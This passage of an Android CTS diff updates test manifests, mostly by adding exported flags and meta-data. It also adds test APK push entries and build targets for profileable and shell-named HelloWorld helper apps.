+                   android:value="true"/>
+        <meta-data android:name="android.content.cts.integer"
+                   android:value="100"/>
+        <meta-data android:name="android.content.cts.float"
+                   android:value="100.1"/>
+        <meta-data android:name="android.content.cts.color"
+                   android:value="#ff000000"/>
+        <meta-data android:name="android.content.cts.reference"
+                   android:resource="@xml/metadata"/>
+
+        <activity android:name="android.content.cts.MockActivity"
+             android:exported="true">
             <meta-data android:name="android.app.alias"
-                android:resource="@xml/alias" />
+                 android:resource="@xml/alias"/>
             <meta-data android:name="android.app.intent.filter"
-                android:resource="@xml/intentfilter" />
+                 android:resource="@xml/intentfilter"/>
             <meta-data android:name="android.app.intent"
-                       android:resource="@xml/intent" />
+                 android:resource="@xml/intent"/>
+
+            <!-- Activity level metadata -->
+            <meta-data android:name="android.content.cts.string"
+                       android:value="foo"/>
+            <meta-data android:name="android.content.cts.boolean"
+                       android:value="true"/>
+            <meta-data android:name="android.content.cts.integer"
+                       android:value="100"/>
+            <meta-data android:name="android.content.cts.float"
+                       android:value="100.1"/>
+            <meta-data android:name="android.content.cts.color"
+                       android:value="#ff000000"/>
+            <meta-data android:name="android.content.cts.reference"
+                       android:resource="@xml/metadata"/>
             <intent-filter>
-                <action android:name="android.content.cts.action.TEST_ACTION" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.content.cts.category.TEST_CATEGORY" />
+                <action android:name="android.content.cts.action.TEST_ACTION"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.content.cts.category.TEST_CATEGORY"/>
             </intent-filter>
         </activity>
 
         <activity-alias android:name="android.content.cts.MockActivity2"
-                android:targetActivity="android.content.cts.MockActivity">
+             android:targetActivity="android.content.cts.MockActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.content.cts.action.TEST_ACTION" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.content.cts.action.TEST_ACTION"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity-alias>
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <service android:name="android.content.cts.MockContextService" />
+        <service android:name="android.content.cts.MockContextService"/>
         <activity android:name=".content.ContextCtsActivity"
-            android:label="ContextCtsActivity">
+             android:label="ContextCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
-        <receiver android:name="android.content.cts.MockReceiverFirst">
+        <receiver android:name="android.content.cts.MockReceiverFirst"
+             android:exported="true">
             <intent-filter android:priority="3">
-                <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_TESTABORT" />
+                <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_TESTABORT"/>
             </intent-filter>
         </receiver>
-        <receiver android:name="android.content.cts.MockReceiverAbort">
+        <receiver android:name="android.content.cts.MockReceiverAbort"
+             android:exported="true">
             <intent-filter android:priority="2">
-                <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_TESTABORT" />
+                <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_TESTABORT"/>
             </intent-filter>
         </receiver>
         <receiver android:name="android.content.cts.MockReceiver"
-                android:permission="android.content.cts.SIGNATURE_PERMISSION">
+             android:permission="android.content.cts.SIGNATURE_PERMISSION"
+             android:exported="true">
+
+            <!-- Receiver level metadata -->
+            <meta-data android:name="android.content.cts.string"
+                       android:value="foo"/>
+            <meta-data android:name="android.content.cts.boolean"
+                       android:value="true"/>
+            <meta-data android:name="android.content.cts.integer"
+                       android:value="100"/>
+            <meta-data android:name="android.content.cts.float"
+                       android:value="100.1"/>
+            <meta-data android:name="android.content.cts.color"
+                       android:value="#ff000000"/>
+            <meta-data android:name="android.content.cts.reference"
+                       android:resource="@xml/metadata"/>
+
             <intent-filter android:priority="1">
-                <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_MOCKTEST" />
-                <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_TESTABORT" />
-                <action android:name="android.content.cts.ContextTest.BROADCAST_TESTORDER" />
+                <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_MOCKTEST"/>
+                <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_TESTABORT"/>
+                <action android:name="android.content.cts.ContextTest.BROADCAST_TESTORDER"/>
             </intent-filter>
         </receiver>
 
         <!-- Receiver that will be explicitly disabled at runtime -->
         <receiver android:name="android.content.cts.MockReceiverDisableable"
-                android:enabled="true">
+             android:enabled="true"
+             android:exported="true">
             <intent-filter android:priority="1">
-                <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_DISABLED" />
+                <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_DISABLED"/>
             </intent-filter>
         </receiver>
 
         <activity android:name="android.content.cts.AvailableIntentsActivity"
-            android:label="AvailableIntentsActivity">
+             android:label="AvailableIntentsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <!--Test for PackageManager-->
         <activity android:name="android.content.pm.cts.TestPmActivity"
-                android:icon="@drawable/start"
-                android:launchMode="singleTop">
+             android:icon="@drawable/start"
+             android:launchMode="singleTop"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.PMTEST" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.PMTEST"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
-            <meta-data android:name="android.content.pm.cts.xmltest" android:resource="@xml/pm_test" />
+            <meta-data android:name="android.content.pm.cts.xmltest"
+                 android:resource="@xml/pm_test"/>
         </activity>
-        <activity android:name="android.content.pm.cts.TestPmCompare">
+        <activity android:name="android.content.pm.cts.TestPmCompare"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.INFO" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.INFO"/>
             </intent-filter>
         </activity>
         <!--Test for PackageManager-->
         <service android:name="android.content.pm.cts.TestPmService"
-            android:permission="android.content.cts.CALL_ABROAD_PERMISSION">
+             android:permission="android.content.cts.CALL_ABROAD_PERMISSION"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.content.pm.cts.activity.PMTEST_SERVICE" />
+                <action android:name="android.content.pm.cts.activity.PMTEST_SERVICE"/>
             </intent-filter>
         </service>
         <!--Test for PackageManager-->
-        <receiver android:name="android.content.pm.cts.PmTestReceiver">
+        <receiver android:name="android.content.pm.cts.PmTestReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.content.pm.cts.PackageManagerTest.PMTEST_RECEIVER" />
+                <action android:name="android.content.pm.cts.PackageManagerTest.PMTEST_RECEIVER"/>
             </intent-filter>
         </receiver>
 
         <activity android:name="android.content.pm.cts.LauncherMockActivity"
-                  android:enabled="true">
+             android:enabled="true"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.HOME" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.HOME"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
         <!--Used by test for LauncherApps-->
         <activity-alias android:name="android.content.pm.cts.MockActivity_Disabled"
-            android:targetActivity="android.content.cts.MockActivity"
-            android:enabled="false">
+             android:targetActivity="android.content.cts.MockActivity"
+             android:enabled="false"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.content.cts.action.TEST_ACTION" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.content.cts.action.TEST_ACTION"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity-alias>
 
         <!-- Used for PackageManager test, don't delete this MockContentProvider provider -->
-        <provider android:name="android.content.cts.MockContentProvider" android:authorities="ctstest"
-            android:multiprocess="false" />
+        <provider android:name="android.content.cts.MockContentProvider"
+             android:authorities="ctstest"
+             android:multiprocess="false">
+            <!-- Provider level metadata -->
+            <meta-data android:name="android.content.cts.string"
+                       android:value="foo"/>
+            <meta-data android:name="android.content.cts.boolean"
+                       android:value="true"/>
+            <meta-data android:name="android.content.cts.integer"
+                       android:value="100"/>
+            <meta-data android:name="android.content.cts.float"
+                       android:value="100.1"/>
+            <meta-data android:name="android.content.cts.color"
+                       android:value="#ff000000"/>
+            <meta-data android:name="android.content.cts.reference"
+                       android:resource="@xml/metadata"/>
+        </provider>
         <provider android:name="android.content.cts.MockSRSProvider"
-                  android:authorities="android.content.cts.MockSRSProvider"
-                  android:exported="false"
-                  android:multiprocess="false" />
+             android:authorities="android.content.cts.MockSRSProvider"
+             android:exported="false"
+             android:multiprocess="false"/>
         <provider android:name="android.content.cts.DummyProvider"
-            android:authorities="android.content.cts.dummyprovider"
-            android:multiprocess="true" />
+             android:authorities="android.content.cts.dummyprovider"
+             android:multiprocess="true"/>
         <provider android:name="android.content.cts.MockRemoteContentProvider"
-            android:authorities="remotectstest"
-            android:process=":remoteprovider" android:multiprocess="false" />
+             android:authorities="remotectstest"
+             android:process=":remoteprovider"
+             android:multiprocess="false"/>
         <provider android:name="androidx.core.content.FileProvider"
-            android:authorities="android.content.cts.fileprovider"
-            android:grantUriPermissions="true">
-            <meta-data
-                android:name="android.support.FILE_PROVIDER_PATHS"
-                android:resource="@xml/file_paths" />
+             android:authorities="android.content.cts.fileprovider"
+             android:grantUriPermissions="true">
+            <meta-data android:name="android.support.FILE_PROVIDER_PATHS"
+                 android:resource="@xml/file_paths"/>
         </provider>
 
         <provider android:name="android.content.cts.TestPagingContentProvider"
-            android:authorities="android.content.cts.testpagingprovider"
-            android:process=":testpagingprovider"
-            android:multiprocess="false" />
+             android:authorities="android.content.cts.testpagingprovider"
+             android:process=":testpagingprovider"
+             android:multiprocess="false"/>
 
         <provider android:name="android.content.cts.MockBuggyProvider"
-                  android:authorities="android.content.cts.mockbuggyprovider"
-                  android:process=":mockbuggyprovider"
-                  android:multiprocess="false" />
+             android:authorities="android.content.cts.mockbuggyprovider"
+             android:process=":mockbuggyprovider"
+             android:multiprocess="false"/>
 
-        <service android:name="android.content.cts.MockService" />
+        <service android:name="android.content.cts.MockService">
+            <!-- Service level metadata -->
+            <meta-data android:name="android.content.cts.string"
+                       android:value="foo"/>
+            <meta-data android:name="android.content.cts.boolean"
+                       android:value="true"/>
+            <meta-data android:name="android.content.cts.integer"
+                       android:value="100"/>
+            <meta-data android:name="android.content.cts.float"
+                       android:value="100.1"/>
+            <meta-data android:name="android.content.cts.color"
+                       android:value="#ff000000"/>
+            <meta-data android:name="android.content.cts.reference"
+                       android:resource="@xml/metadata"/>
+        </service>
 
-        <service android:name="android.content.cts.MockSyncAdapterService" android:exported="true">
+        <service android:name="android.content.cts.MockSyncAdapterService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.content.SyncAdapter" />
+                <action android:name="android.content.SyncAdapter"/>
             </intent-filter>
 
             <meta-data android:name="android.content.SyncAdapter"
-                       android:resource="@xml/syncadapter" />
+                 android:resource="@xml/syncadapter"/>
         </service>
 
-        <service android:name="android.content.cts.MockAccountService" android:exported="true"
-                 >
+        <service android:name="android.content.cts.MockAccountService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accounts.AccountAuthenticator" />
+                <action android:name="android.accounts.AccountAuthenticator"/>
             </intent-filter>
 
             <meta-data android:name="android.accounts.AccountAuthenticator"
-                       android:resource="@xml/authenticator" />
+                 android:resource="@xml/authenticator"/>
         </service>
 
         <activity android:name="android.content.cts.ClipboardManagerListenerActivity"/>
 
         <activity android:name="android.content.cts.ImageCaptureActivity"
-                  android:exported="true">
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.action.IMAGE_CAPTURE" />
-                <action android:name="android.media.action.IMAGE_CAPTURE_SECURE" />
-                <action android:name="android.media.action.VIDEO_CAPTURE" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.media.action.IMAGE_CAPTURE"/>
+                <action android:name="android.media.action.IMAGE_CAPTURE_SECURE"/>
+                <action android:name="android.media.action.VIDEO_CAPTURE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.content.cts.ReadableFileReceiverActivity"
-                  android:exported="true">
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SEND_MULTIPLE" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SEND_MULTIPLE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
-        <provider
-                android:name="android.content.cts.CursorWindowContentProvider"
-                android:authorities="cursorwindow.provider"
-                android:exported="true"
-                android:process=":providerProcess">
+        <provider android:name="android.content.cts.CursorWindowContentProvider"
+             android:authorities="cursorwindow.provider"
+             android:exported="true"
+             android:process=":providerProcess">
         </provider>
 
         <activity android:name="com.android.cts.content.StubActivity"/>
 
-        <service android:name="com.android.cts.content.NotAlwaysSyncableSyncService">
+        <service android:name="com.android.cts.content.NotAlwaysSyncableSyncService"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.content.SyncAdapter"/>
             </intent-filter>
             <meta-data android:name="android.content.SyncAdapter"
-                android:resource="@xml/not_always_syncable_account_access_adapter" />
+                 android:resource="@xml/not_always_syncable_account_access_adapter"/>
         </service>
 
-        <service android:name="com.android.cts.content.AlwaysSyncableSyncService">
+        <service android:name="com.android.cts.content.AlwaysSyncableSyncService"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.content.SyncAdapter"/>
             </intent-filter>
             <meta-data android:name="android.content.SyncAdapter"
-                android:resource="@xml/always_syncable_account_access_adapter" />
+                 android:resource="@xml/always_syncable_account_access_adapter"/>
         </service>
 
-	<activity android:name="com.android.cts.content.StubCameraIntentHandlerActivity">
+	<activity android:name="com.android.cts.content.StubCameraIntentHandlerActivity"
+    	 android:exported="true">
            <intent-filter>
-                <action android:name="android.media.action.IMAGE_CAPTURE" />
-                <action android:name="android.media.action.IMAGE_CAPTURE_SECURE" />
-                <action android:name="android.media.action.VIDEO_CAPTURE" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.media.action.IMAGE_CAPTURE"/>
+                <action android:name="android.media.action.IMAGE_CAPTURE_SECURE"/>
+                <action android:name="android.media.action.VIDEO_CAPTURE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
 	</activity>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.content.cts"
-                     android:label="CTS tests of android.content">
+         android:targetPackage="android.content.cts"
+         android:label="CTS tests of android.content">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
     <instrumentation android:name="android.content.pm.cts.TestPmInstrumentation"
-        android:targetPackage="android"
-        android:label="PackageManager Instrumentation Test" />
+         android:targetPackage="android"
+         android:label="PackageManager Instrumentation Test"/>
 </manifest>
-
diff --git a/tests/tests/content/AndroidTest.xml b/tests/tests/content/AndroidTest.xml
index 7c0f3ac..9153d34 100644
--- a/tests/tests/content/AndroidTest.xml
+++ b/tests/tests/content/AndroidTest.xml
@@ -35,6 +35,10 @@
         <option name="cleanup" value="true" />
         <option name="push" value="CtsContentTestCases.apk->/data/local/tmp/cts/content/CtsContentTestCases.apk" />
         <option name="push" value="CtsContentEmptyTestApp.apk->/data/local/tmp/cts/content/CtsContentEmptyTestApp.apk" />
+        <option name="push" value="CtsContentLongPackageNameTestApp.apk->/data/local/tmp/cts/content/CtsContentLongPackageNameTestApp.apk" />
+        <option name="push" value="CtsContentLongSharedUserIdTestApp.apk->/data/local/tmp/cts/content/CtsContentLongSharedUserIdTestApp.apk" />
+        <option name="push" value="CtsContentMaxPackageNameTestApp.apk->/data/local/tmp/cts/content/CtsContentMaxPackageNameTestApp.apk" />
+        <option name="push" value="CtsContentMaxSharedUserIdTestApp.apk->/data/local/tmp/cts/content/CtsContentMaxSharedUserIdTestApp.apk" />
     </target_preparer>
 
     <target_preparer class="com.android.tradefed.targetprep.PushFilePreparer">
@@ -54,6 +58,8 @@
         <option name="push-file" key="HelloWorld5_xxhdpi-v4.apk.idsig" value="/data/local/tmp/cts/content/HelloWorld5_xxhdpi-v4.apk.idsig" />
         <option name="push-file" key="HelloWorld5_xxxhdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld5_xxxhdpi-v4.apk" />
         <option name="push-file" key="HelloWorld5_xxxhdpi-v4.apk.idsig" value="/data/local/tmp/cts/content/HelloWorld5_xxxhdpi-v4.apk.idsig" />
+        <option name="push-file" key="HelloWorld5Profileable.apk" value="/data/local/tmp/cts/content/HelloWorld5Profileable.apk" />
+        <option name="push-file" key="HelloWorld5Profileable.apk.idsig" value="/data/local/tmp/cts/content/HelloWorld5Profileable.apk.idsig" />
         <option name="push-file" key="HelloWorld7.apk" value="/data/local/tmp/cts/content/HelloWorld7.apk" />
         <option name="push-file" key="HelloWorld7.apk.idsig" value="/data/local/tmp/cts/content/HelloWorld7.apk.idsig" />
         <option name="push-file" key="HelloWorld7_hdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld7_hdpi-v4.apk" />
@@ -66,7 +72,26 @@
         <option name="push-file" key="HelloWorld7_xxhdpi-v4.apk.idsig" value="/data/local/tmp/cts/content/HelloWorld7_xxhdpi-v4.apk.idsig" />
         <option name="push-file" key="HelloWorld7_xxxhdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld7_xxxhdpi-v4.apk" />
         <option name="push-file" key="HelloWorld7_xxxhdpi-v4.apk.idsig" value="/data/local/tmp/cts/content/HelloWorld7_xxxhdpi-v4.apk.idsig" />
-      </target_preparer>
+        <option name="push-file" key="HelloWorldShell.apk" value="/data/local/tmp/cts/content/HelloWorldShell.apk" />
+        <option name="push-file" key="HelloWorldShell.apk.idsig" value="/data/local/tmp/cts/content/HelloWorldShell.apk.idsig" />
+        <option name="push-file" key="CtsPkgInstallTinyAppV1.apk" value="/data/local/tmp/cts/content/CtsPkgInstallTinyAppV1.apk" />
+        <option name="push-file" key="CtsPkgInstallTinyAppV2V3V4.apk" value="/data/local/tmp/cts/content/CtsPkgInstallTinyAppV2V3V4.apk" />
+        <option name="push-file" key="CtsPkgInstallTinyAppV2V3V4.apk.idsig" value="/data/local/tmp/cts/content/CtsPkgInstallTinyAppV2V3V4.apk.idsig" />
+        <option name="push-file" key="CtsPkgInstallTinyAppV2V3V4.digests" value="/data/local/tmp/cts/content/CtsPkgInstallTinyAppV2V3V4.digests" />
+        <option name="push-file" key="CtsPkgInstallTinyAppV2V3V4.digests.signature" value="/data/local/tmp/cts/content/CtsPkgInstallTinyAppV2V3V4.digests.signature" />
+        <option name="push-file" key="CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk" value="/data/local/tmp/cts/content/CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk" />
+        <option name="push-file" key="CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk.idsig" value="/data/local/tmp/cts/content/CtsPkgInstallTinyAppV2V3V4.apk-Sha512withEC.idsig" />
+        <option name="push-file" key="CtsPkgInstallTinyAppV2V3V4-Verity.apk" value="/data/local/tmp/cts/content/CtsPkgInstallTinyAppV2V3V4-Verity.apk" />
+        <option name="push-file" key="CtsPkgInstallTinyAppV2V3V4-Verity.apk.idsig" value="/data/local/tmp/cts/content/CtsPkgInstallTinyAppV2V3V4-Verity.apk.idsig" />
+        <option name="push-file" key="HelloWorld5.digests" value="/data/local/tmp/cts/content/HelloWorld5.digests" />
+        <option name="push-file" key="HelloWorld5.digests.signature" value="/data/local/tmp/cts/content/HelloWorld5.digests.signature" />
+        <option name="push-file" key="HelloWorld5_hdpi-v4.digests" value="/data/local/tmp/cts/content/HelloWorld5_hdpi-v4.digests" />
+        <option name="push-file" key="HelloWorld5_hdpi-v4.digests.signature" value="/data/local/tmp/cts/content/HelloWorld5_hdpi-v4.digests.signature" />
+        <option name="push-file" key="HelloWorld5_mdpi-v4.digests" value="/data/local/tmp/cts/content/HelloWorld5_mdpi-v4.digests" />
+        <option name="push-file" key="HelloWorld5_mdpi-v4.digests.signature" value="/data/local/tmp/cts/content/HelloWorld5_mdpi-v4.digests.signature" />
+        <option name="push-file" key="test-cert.x509.pem" value="/data/local/tmp/cts/content/test-cert.x509.pem" />
+
+    </target_preparer>
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
@@ -75,6 +100,7 @@
         <option name="test-file-name" value="CtsContentPartiallyDirectBootAwareTestApp.apk" />
         <option name="test-file-name" value="CtsSyncAccountAccessStubs.apk" />
         <option name="test-file-name" value="CtsBinderPermissionTestService.apk" />
+        <option name="test-file-name" value="CtsContentTestsHelperApp.apk" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/content/BinderPermissionTestService/Android.bp b/tests/tests/content/BinderPermissionTestService/Android.bp
index 928e532..798f084 100644
--- a/tests/tests/content/BinderPermissionTestService/Android.bp
+++ b/tests/tests/content/BinderPermissionTestService/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsBinderPermissionTestService",
     defaults: ["cts_support_defaults"],
diff --git a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.bp b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.bp
index 21bcaf6..b15e59a 100644
--- a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.bp
+++ b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSyncAccountAccessOtherCertTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/AndroidManifest.xml b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/AndroidManifest.xml
index 67d20f9..acb5e66 100644
--- a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/AndroidManifest.xml
+++ b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/AndroidManifest.xml
@@ -15,27 +15,27 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.content">
+     package="com.android.cts.content">
 
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <activity android:name=".StubActivity"/>
 
-        <service android:name=".AlwaysSyncableSyncService">
+        <service android:name=".AlwaysSyncableSyncService"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.content.SyncAdapter"/>
             </intent-filter>
             <meta-data android:name="android.content.SyncAdapter"
-                   android:resource="@xml/syncadapter" />
+                 android:resource="@xml/syncadapter"/>
         </service>
 
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.content" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.content"/>
 
 </manifest>
diff --git a/tests/tests/content/DirectBootUnawareTestApp/Android.bp b/tests/tests/content/DirectBootUnawareTestApp/Android.bp
index 4a1a9bb..c03d9fc 100644
--- a/tests/tests/content/DirectBootUnawareTestApp/Android.bp
+++ b/tests/tests/content/DirectBootUnawareTestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsContentDirectBootUnawareTestApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/content/HelloWorldApp/Android.bp b/tests/tests/content/HelloWorldApp/Android.bp
index db42d4b..09b232b 100644
--- a/tests/tests/content/HelloWorldApp/Android.bp
+++ b/tests/tests/content/HelloWorldApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_defaults {
     name: "hello_world_defaults",
     defaults: ["cts_defaults"],
@@ -50,6 +46,21 @@
 
 //-----------------------------------------------------------
 android_test {
+    name: "HelloWorld5Profileable",
+    defaults: ["hello_world_defaults"],
+    srcs: ["src5/**/*.java"],
+    manifest: "AndroidManifestProfileable.xml",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    v4_signature: true,
+}
+
+//-----------------------------------------------------------
+android_test {
     name: "HelloWorld7",
     defaults: ["hello_world_defaults"],
     srcs: ["src7/**/*.java"],
@@ -60,3 +71,18 @@
     ],
     v4_signature: true,
 }
+
+//-----------------------------------------------------------
+android_test {
+    name: "HelloWorldShell",
+    defaults: ["hello_world_defaults"],
+    srcs: ["src_shell/**/*.java"],
+    manifest: "AndroidManifestShell.xml",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    v4_signature: true,
+}
diff --git a/tests/tests/content/HelloWorldApp/AndroidManifest.xml b/tests/tests/content/HelloWorldApp/AndroidManifest.xml
index f195701..875c27a 100644
--- a/tests/tests/content/HelloWorldApp/AndroidManifest.xml
+++ b/tests/tests/content/HelloWorldApp/AndroidManifest.xml
@@ -1,25 +1,25 @@
 <?xml version="1.0" encoding="utf-8"?>
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.example.helloworld">
+     package="com.example.helloworld">
 
-    <application
-        android:allowBackup="true"
-        android:debuggable="true"
-        android:icon="@mipmap/ic_launcher"
-        android:label="@string/app_name"
-        android:roundIcon="@mipmap/ic_launcher_round"
-        android:supportsRtl="true"
-        android:theme="@style/AppTheme">
-        <activity
-            android:name=".MainActivity"
-            android:label="@string/app_name"
-            android:theme="@style/AppTheme.NoActionBar">
+    <application android:allowBackup="true"
+         android:debuggable="true"
+         android:icon="@mipmap/ic_launcher"
+         android:label="@string/app_name"
+         android:roundIcon="@mipmap/ic_launcher_round"
+         android:supportsRtl="true"
+         android:theme="@style/AppTheme">
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:theme="@style/AppTheme.NoActionBar"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
 
-                <category android:name="android.intent.category.LAUNCHER" />
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/tests/tests/content/HelloWorldApp/AndroidManifestProfileable.xml b/tests/tests/content/HelloWorldApp/AndroidManifestProfileable.xml
new file mode 100644
index 0000000..0410a4b
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/AndroidManifestProfileable.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.example.helloworld">
+
+    <application android:allowBackup="true"
+         android:debuggable="false"
+         android:icon="@mipmap/ic_launcher"
+         android:label="@string/app_name"
+         android:roundIcon="@mipmap/ic_launcher_round"
+         android:supportsRtl="true"
+         android:theme="@style/AppTheme">
+        <profileable android:shell="true"/>
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:theme="@style/AppTheme.NoActionBar"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+</manifest>
diff --git a/tests/tests/content/HelloWorldApp/AndroidManifestShell.xml b/tests/tests/content/HelloWorldApp/AndroidManifestShell.xml
new file mode 100644
index 0000000..c42546a
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/AndroidManifestShell.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.shell">
+
+    <application android:allowBackup="true"
+         android:debuggable="true"
+         android:icon="@mipmap/ic_launcher"
+         android:label="@string/app_name"
+         android:roundIcon="@mipmap/ic_launcher_round"
+         android:supportsRtl="true"
+         android:theme="@style/AppTheme">
+        <profileable android:shell="true"/>
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:theme="@style/AppTheme.NoActionBar"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+</manifest>
diff --git a/tests/tests/content/HelloWorldApp/res/drawable-hdpi/background.jpg b/tests/tests/content/HelloWorldApp/res/drawable-hdpi/background.jpg
new file mode 100644
index 0000000..1c466ae
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/drawable-hdpi/background.jpg
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/drawable-mdpi/background.jpg b/tests/tests/content/HelloWorldApp/res/drawable-mdpi/background.jpg
new file mode 100644
index 0000000..1c466ae
